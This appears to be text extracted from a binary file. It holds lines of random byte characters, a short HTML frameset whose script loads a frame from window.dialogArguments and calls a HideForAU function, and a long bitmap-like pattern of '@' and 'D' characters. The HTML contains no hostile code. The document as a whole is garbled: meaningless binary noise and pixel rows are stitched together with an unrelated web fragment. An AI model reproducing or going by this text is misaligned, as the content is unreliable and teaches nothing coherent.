wC?BMRRVnROFCX
w?CORV^^k^[R
wCOR\_]je[l=Z
wMO_Xnkjj=Z
wFWovuifNZ
Pr}qiZ
!!&,*&
!$++&#
<#*,'#
!&,+&
!&+,'#
hhaLK=
Yd5K;5!5
Y1888/E
w7BLlBW%J
YL[evnK
R?8rN
k+k4j4mEe4d4[$M
k9c?c?gHeHc?c?d@jIoRqTqThEH
W"T(T(T(Y(c/W.T(T(T(T(T(Z1a<kLqTmLE
T(T(Y.gCoRa<%
O T(V+gCkL*
T(Z1eC*
S%Y/cI,
Y2cF^O
]%c@cFH
|c'c*c<cF.
xc%c*`9'
|c'c,?
VC7J!eD
`6tnFkjvhrfiZbRlToUU@:,
$a`:S,
[x|kvZ\EA1(
]5uPpo
`dKJ7/#}%
`6pIfuelRR=7)
0YRK@V,
O.Bj@]yzitXZD?/%
n{]aIF4, j*
`6qKirdiOO;4'
2Kr^uxfqqf]pa=z<
T0dlDb~xhoUU@<-"
5&.[*mI
f;|Xv}lx[]FC2(
`6uPnpafML7-
|wA<fR
t3Lc<)y
d<I&kg*to-A
n*E_M0
i#{>WT9
w6Q\A&~
q-H`H-
e y9SY>#{
s3M_E)
m)D]N3
g!z<WV; y
)}SMH=$y
f7lMlMnPuZh?S
i+Z0S&^3W-Q#W-[5b?eApSK
[5b?[5"
5%1"Z7!&
\}gpqXgMC2#
T0doGtmtXJ7(
j@ds}_ZD/#
)k]e:'
Z4]{daI>.H8
^5vsLyknSF44%
!x.jR.zU)
I*2lDlox[R=-"\j
_:|z[waL88"D
ETQtM:T
_!zBQ!z
U%iBU)M
#B01(%
f?{_GRil
`6Bey]PP
<HTML>
<HEAD>
<Script language=javascript>
function loadcontent()
document.all("frmContent").src = window.dialogArguments;
function MyCallBack()
document.frames(0).HideForAU();
</Script>
</HEAD>
<FRAMESET ROWS="100%" onload=loadcontent()>
<FRAME ID=frmContent SRC="">
</FRAMESET>
</HTML>
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@
DDDDDDDDD
DDDDDDDDDDDDDDDDDDD
@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@
DDDDDDDDD
DDDDDDDDDDDDDDDDDDD
@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@
DDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDD
@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@@@@@@@DDDDDDDDDDDDDDDD@@DDDDD@@@@@@@@@@@@@@@
DDDDDDDDDDD
DDDDDDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDD@@@@@@@@@DDDDDDDDDDDDDDD@@@@@DDDDD@@@@@@@@@@@@@@@
DDDDDDDDDD
DDDDDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDD@@@@@@@@DDDDDDDDDDDDD@@@@@@@@DDDDD@@@@@@@@@@@@@@@
DDDDDDDDDDD
DDDDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDD@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@@
DDDDDDDDDDDD
DDDDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@DDDDDDDDDDDD@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@@
DDDDDDDDDDDD
DDDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@DDDDDDDDDDDD@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@@
DDDDDDDDDDDD
DDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDD@@DDDDDDDDDDD@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@@
DDDDDDD
DDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@@@DDDDDD@DDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@@DDDDDDD@DDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@@
DDDDDDD
DDDDDDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@@@@DDDDDDD@@DDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDDDDDD
@@@@@@@@@@@@@@@@@@@DDDDDD@@@DDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDDDDD
@@@@@@@@@@@@@@@@@@DDDDDDD@@@DDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDDD
@@@@@@@@@@@@@@@@@@DDDDDD@@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDD
@@@@@@@@@@@@@@@@@DDDDDDD@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDD
@@@@@@@@@@@@@@@@@DDDDDD@@@DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@DDDDDDD@@DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@@DDDDDD@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@DDDDDDD@DDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@
DDDDDD
DDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@@@DDDDDD@DDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@
DDDDDD
DDDDDDDDDDDD
@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@
DDDDDDDDDDDDDDDDDDD
@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@
DDDDDDDDDDDDDD
@@@@@@@@@@@@@@DDDDDDDDDDDDD@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@
DDDDDDDDDDDDD
@@@@@@@@@@@@@DDDDDDDDDDDDD@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@
DDDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@@DDDDDDDDDDDD@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@
DDDDDDDDDDDD
DDDDDD
DDDDDD
@@@@@@@@@@@@@DDDDDDDDDDD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@
DDDDDDDDDDDD
DDDDDD
DDDDDD
@@@@@@@@@@@@DDDDDDDDDDDD@@@@@DDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@
DDDDDDDDDDD
DDDDDD
DDDDDD
@@@@@@@@@@@@DDDDDDDDDDD@@@@@@DDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@
DDDDDDDDDDD
DDDDDD
@@@@@@@@@@@@DDDDDDDDDD@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@
DDDDDDDDDD
@@@@@@@@@@@@DDDDDDDDDD@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@
DDDDDDDDDD
DDDDDD
DDDDDD
DDDD@@@@@@@@@@@DDDDDDDDDD@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@DDDDDDD
DDDDDDDDD
DDDDDD
DDDDDD
DDDDDDDDD@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@DDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDD
DDDDDDDDD
DDDDDD
DDDDDDDDDDDDDDDDD@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDD
DDDDDDDDD
DDDDDDDDDDDDDDDDDD@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDD
DDDDDDDD
DDDDDD
DDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDD
DDDDDD
DDDDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@DDDDDDDD@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDD@@@
DDDDDDDD
DDDDDD
DDDDDDDDDDDDDDDDDDDD
@@@@@@@@@@DDDDDDDD@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDD@@@@@@@@@
DDDDDDDD
DDDDDDDDDDDDDDDDDD
@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDD@@@@@@@@@@@
DDDDDDD
DDDDDD
DDDDDDDDDDDDDDDDDDDDD
@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@DDDDD@@@@@@@@@@@@@@@DDDDDDDDDDDDDDD@DDDDDD@@@@@@@@@@
DDDDDDD
DDDDDD
DDDDDDDDDDDDDDD
@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@DDDDDDDDDDDDDD@@@@DDDDDD@@@@@@@@@@
DDDDDDD
DDDDDD
DDDDDDDDDDDDD
@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@DDDDDDDDDDDDD@@@@@@@DDDDDD@@@@@@@@@@
DDDDDD
DDDDDD
DDDDDDDDDDDDD
DDDDDD
@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@DDDDDDDDDDDDD@@@@@@@@@@DDDDD@@@@@@@@@@
DDDDDD
DDDDDD
DDDDDDDDDDDD
DDDDDD
@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@DDDDD@@@@@@@@@@
DDDDDDD
DDDDDD
DDDDDDDDDDD
DDDDDD
@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@DDDDDD@@@@DDDDDDDDDDD@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@
DDDDDD
DDDDDD
DDDDDDDDDDD
@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@DDDDDD@@DDDDDDDDDDD@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@
DDDDDD
DDDDDD
DDDDDDDDDD
@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@DDDDDD@DDDDDDDDDD@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@
DDDDDDD
DDDDDDDDDDDDDDD
DDDDDD
@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@@
DDDDDDD
DDDDDDDDDDDDDD
DDDDDD
@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@
DDDDDDD
DDDDDDDDDDD
DDDDDD
@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@
DDDDDDD
DDDDDDDDDD
@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@
DDDDDDD
DDDDDDDD
DDDDDD
@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@
DDDDDDD
DDDDDDDD
DDDDDD
@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@@
DDDDDDD
DDDDDDDDDD
DDDDDD
@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@
DDDDDDDD
DDDDDDDDDDD
@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@
DDDDDDDD
DDDDDDDDDDDDD
DDDDDD
@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@DDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@
DDDDDDDD
DDDDDDDDDDDDDD
DDDDDD
@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@DDDDDDDD@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@@@
DDDDDDDD
DDDDDDDD
DDDDDDD
DDDDDD
@@@@@@@@DDDDDDDDD@@@@@@@@@@@@DDDDDDDD@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@
DDDDDDDDD
DDDDDDDD
DDDDDD
@@@@@@@@DDDDDDDDD@@@@@@@@@@@DDDDDDDD@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@
DDDDDDDDD
DDDDDDD
DDDDDDD
DDDDDD
@@@@@@@@@DDDDDDDDD@@@@@@@@@@DDDDDDD@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@
DDDDDDDDDD
DDDDDDD
DDDDDD
DDDDDD
@@@@@@@@@DDDDDDDDD@@@@@@@@@DDDDDDD@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@
DDDDDDDDDD
DDDDDDD
DDDDDD
DDDDDD
@@@@@@@@@DDDDDDDDDD@@@@@@@DDDDDDD@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@
DDDDDDDDDD
DDDDDD
DDDDDDD
@@@@@@@@@DDDDDDDDDD@@@@@@@DDDDDDD@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@
DDDDDDDDDDD
DDDDDDD
DDDDDD
DDDDDD
@@@@@@@@@DDDDDDDDDD@@@@@@DDDDDDD@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@@
DDDDDDDDDDD
DDDDDDD
DDDDDDD
DDDDDD
@@@@@@@@@DDDDDDDDDDD@@@@@DDDDDD@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@
DDDDDDDDDDD
DDDDDD
DDDDDD
DDDDDD
@@@@@@@@@DDDDDDDDDDD@@@@DDDDDDD@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@
DDDDDDDDDDD
DDDDDDD
DDDDDDD
DDDDDD
@@@@@@@@@DDDDDDDDDDDD@@@DDDDDD@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@
DDDDDDDDDDDD
DDDDDD
DDDDDDD
DDDDDD
@@@@@@@@@DDDDDDDDDDDDD@DDDDDD@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDD@@@@
DDDDDDDDDDDD
DDDDDDD
DDDDDD
DDDDDD
@@@@@@@@@@DDDDD@DDDDDD@DDDDDD@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@
DDDDDD
DDDDDDDDDDDD
DDDDDDD
@@@@@@@@@@DDDDD@DDDDDDDDDDDD@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@
DDDDDD
DDDDDDDDDDDD
DDDDDDD
DDDDDD
@@@@@@@@@@DDDDDD@DDDDDDDDDDD@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@DDDDDD@@@
DDDDDD
DDDDDDDDDD
DDDDDD
DDDDDD
@@@@@@@@@@DDDDDD@DDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@DDDDDD@@@@@@@@@@@@@@@@@@@@@@DDDDDD@@
DDDDDDDDDD
DDDDDDD
DDDDDD
@@@@@@@@@@DDDDDD@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@DDDDDD@@
DDDDDD
DDDDDDDDD
DDDDDDD
DDDDDD
@@@@@@@@@@@DDDDD@@@DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@DDDDDD@D
DDDDDD
DDDDDDD
DDDDDDD
DDDDDDD@@@@@@@@@@@DDDDDD@@DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@DDDDDDD
DDDDDD
DDDDDDD
DDDDDDD
DDDDDDD@@@@@@@@@@@DDDDDD@@@DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@@@@DDDDDDDDD
DDDDDDD
DDDDDDD
DDDDDDDDD@@@@@@@@@@@DDDDDD@@@DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@@@@DDDDDDDDDDD
DDDDDD
DDDDDDDD
DDDDDDD
DDDDDDDDDDDD@@@@@@@@@@@@DDDDD@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@@@@@DDDDDDDDDDDDD
DDDDDD
DDDDDDDDD
DDDDDDD
DDDDDDDDDDDDDD@@@@@@@@@@@@DDDDDD@@DDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@@DDDDDDDDDDDDDDDD
DDDDDD
DDDDDDDDD
DDDDDDDD
DDDDDDDDDDDDDDDD@@@@@@@@@@@@DDDDDD@@DDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@@@@DDDDDDDDDDDDDDDDD
DDDDDD
DDDDDDDDDDD
DDDDDDD
DDDDDDDDDDDDDDDDDD@@@@@@@@@@@@DDDDDD@@DDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@@@@DDDDDDDDDDDDDDDDDDD
DDDDDD
DDDDDDDDDDDD
DDDDDDD
DDDDDDDDDDDD
DDDDD@@@@@@@@@@@@@DDDDDD@DDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDD@DDDDDDDDDDDD@@@@DDDDD
DDDDDD
DDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDD
DDDD@@@@@@@@@@@@@DDDDDD@DDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDD@@@@@@DDDDD
DDDDDDDDDDDD
DDDDDDD
DDDDDDDDDDDDDDD
DDDD@@@@@@@@@@@@@DDDDDD@DDDDD@DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDD@@@@@@@@@DDDD
DDDDDDDDDDDD
DDDDDDDD
DDDDDDDDDDDDDD
DDDD@@@@@@@@@@@@@@DDDDDDDDDDD@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@DDDD
DDDDDDDDDDD
DDDDDDDDD
DDDDDDDDDDD
DDD@@@@@@@@@@@@@@DDDDDDDDDDD@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@@@@@@@@DDDD
DDDDDDDDDDD
DDDDDDDDD
DDDDDDDD
DDD@@@@@@@@@@@@@@@DDDDDDDDDD@@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@DDD
DDDDDDDDDDD
DDDDDDDDD
DDDDDDDDDD
DDD@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@DDDDDDDDDDD@@@@@@@@@@@@@DDD
DDDDDDDDDD
DDDDDDDD
DDDDDDDDDDD
DD@@@@@@@@@@@@@@@DDDDDDDDDDD@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@@DDD
DDDDDDDDDD
DDDDDDDD
DDDDDDDDDDDDD
DD@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@@@DDDDDDDDD@@@@@@@@@@@@@DDDDDDDDDDDDDD@@@@@@@@@@@@@DD
DDDDDDDDD
DDDDDDDDD
DDDDDDDDDDDDDDD
DD@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@@@@DDDDDDDDD@@@@@@@@@@@DDDDDDDD@DDDDDDD@@@@@@@@@@@@DD
DDDDDDDDDD
DDDDDDDDD
DDDDDDD
DDDDDDD
D@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@DDDDDDDDD@@@@@@@@@@DDDDDDD@@@DDDDDDD@@@@@@@@@@@DD
DDDDDDDDD
DDDDDDDDDD
DDDDDDD
DDDDDDD
D@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@DDDDDDDDDD@@@@@@@DDDDDDD@@@@DDDDDDDD@@@@@@@@@@@D
DDDDDDDDD
DDDDDDDDDD
DDDDDDD
DDDDDDDD
D@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@DDDDDDDDD@@@@@@DDDDDD@@@@@@DDDDDDDDD@@@@@@@@@D
DDDDDDDD
DDDDDDDDDD
DDDDDD
DDDDDDDDD
@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@DDDDDDDDDD@@@DDDDDD@@@@@@@@DDDDDDDDD@@@@@@@@@
DDDDDDDDD
DDDDDDDDDD
DDDDDDD
DDDDDDDDD
@@@@@@@@@@@@@@@@@@@DDDDDDDD@@@@@@@@@@@@@DDDDDDDDDD@@DDDDDD@@@@@@@@@DDDDDDDDD@@@@@@@@
DDDDDDDD
DDDDDDDDDDDDDDDDD
DDDDDDDDD
@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@DDDDDDDDDDDDDDD@@@@@@@@@@@DDDDDDDDD@@@@@@@
DDDDDDDD
DDDDDDDDDDDDDDD
DDDDDDDD
@@@@@@@@@@@@@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@DDDDDDDDDDDDDD@@@@@@@@@@@@@DDDDDDDD@@@@@@
DDDDDDDD
DDDDDDDDDDDDD
DDDDDDDD
@@@@@@@@@@@@@@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@@@DDDDDDDD@@@@@
DDDDDDDD
DDDDDDDDDDD
DDDDDDDD
@@@@@@@@@@@@@@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@@@DDDDDDDD@@@@
DDDDDDDD
DDDDDDDDDDD
DDDDDDDD
@@@@@@@@@@@@@@@@@@@@@@DDDDDDDD@@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@@DDDDDDDDD@@
DDDDDDD
DDDDDDDDDDDDD
DDDDDDDDD
@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@DDDDDDDDD@
DDDDDDDDD
DDDDDDDDDDDDDD
DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDD@@@@@@@@@@DDDDDDDDD
DDDDDDDDD
DDDDDDDDDDDDDDDD
DDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDD@@@@@@@@@DDDDDDDD
DDDDDDDDDD
DDDDDDDDDDDDDDDDDDD
DDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDD@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDD@@@@@@@@DDDDDD
DDDDDDDDDDD
DDDDDD
DDDDDDDDDDDDDDD
DDDDD@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@@DDDDD@@DDDDDDDDDDDDDDDD@@@@@@DDDDD
DDDDDDDDDDDD
DDDDDD
DDDDDDDDDDDDDDDD
DDDD@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDD@@@@@@@@@@@@DDDDD@@@@@DDDDDDDDDDDDDDDD@@@@DDDD
DDDDDDDDDDDDD
DDDDDD
DDDDDDDDDDDDDDDDD
DDD@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDD@@@@@@@@@@DDDDD@@@@@@@DDDDDDDDDDDDDDDDDD@DDD
DDDDDDDDDDDDDD
DDDDDD
DDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDD@@@@@@@@DDDDDD@@@@@@@@DDDDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDD@@@@@DDDDDD@@@@@@@@@@@DDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDD@@DDDDDD@@@@@@@@@@@@@@DDDDDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDD
DDDDDD
DDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@DDDDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@DDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@DDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDD@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDD@@@DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
DDDDDDDDD
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDD@DDDDDDDD
DDDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDDDDD
DDDDDDDDDDDDDDDD@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@DDDDDDDDDDDDDD@D
DDDDDDD
